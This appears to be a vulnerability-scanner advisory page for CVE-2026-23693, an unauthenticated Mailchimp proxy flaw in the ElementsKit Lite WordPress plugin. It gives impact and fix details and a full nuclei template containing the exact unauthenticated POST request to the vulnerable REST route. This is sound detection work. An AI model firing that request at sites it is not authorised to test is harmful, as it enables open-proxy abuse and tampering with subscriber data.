ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy

highseverity

10CVSS score

1.3%likelihood of exploitation, next 30 days

70%of all CVEs are less likely

Readycheck to confirm it

The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.

Impact

Unauthenticated attackers can invoke the Mailchimp integration with no credentials on the site, enabling open-proxy abuse, subscription-data tampering, and Mailchimp API-quota / resource exhaustion.

Fix

Update ElementsKit Lite (elementskit-lite) to 3.7.9 or later, which enforces authentication on the endpoint.

How to confirm it

Send: GET /wp-content/plugins/elementskit-lite/readme.txt
Positive when: compare_versions(version, '<3.7.9')
Send: POST /wp-json/elementskit/v1/widget/mailchimp/subscribe
Positive when: status 200 AND contains in header "application/json" AND not contains "rest_forbidden" or "rest_cannot_access" or "rest_not_logged_in" or "rest_no_route"

Run it with nuclei: nuclei -id CVE-2026-23693 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2026-23693

info:
  name: ElementsKit Lite <3.7.9 - Unauthenticated Mailchimp Proxy
  author: rahulreddykarne
  severity: high
  description: |
    The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.
  impact: |
    Unauthenticated attackers can invoke the Mailchimp integration with no credentials on the site, enabling open-proxy abuse, subscription-data tampering, and Mailchimp API-quota / resource exhaustion.
  remediation: |
    Update ElementsKit Lite (elementskit-lite) to 3.7.9 or later, which enforces authentication on the endpoint.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/85025fb9-6e19-4c0f-bf16-4b890ba5f7f5
    - https://wordpress.org/plugins/elementskit-lite/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-23693
  classification:
    cve-id: CVE-2026-23693
    epss-score: 0.01252
    epss-percentile: 0.69683
    cwe-id: CWE-306
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
    cvss-score: 10.0
  metadata:
    max-request: 1
    vendor: wpmet
    product: elementskit-lite
    framework: wordpress
    fofa-query: body="/wp-content/plugins/elementskit-lite/"
  tags: cve,cve2026,wordpress,wp-plugin,elementskit,elementskit-lite,unauth,auth-bypass,mailchimp

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/elementskit-lite/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "compare_versions(version, '<3.7.9')"
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)Stable.tag:\s?([\w.]+)'
        internal: true

  - raw:
      - |
        POST /wp-json/elementskit/v1/widget/mailchimp/subscribe HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        email=test-{{randstr}}@example.com&list=test-invalid-list&apikey=0000000000000000000000000000000-us1

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - "application/json"

      - type: word
        part: body
        negative: true
        condition: or
        words:
          - "rest_forbidden"
          - "rest_cannot_access"
          - "rest_not_logged_in"
          - "rest_no_route"

References

Use this check only on systems you are authorised to test. Where the data comes from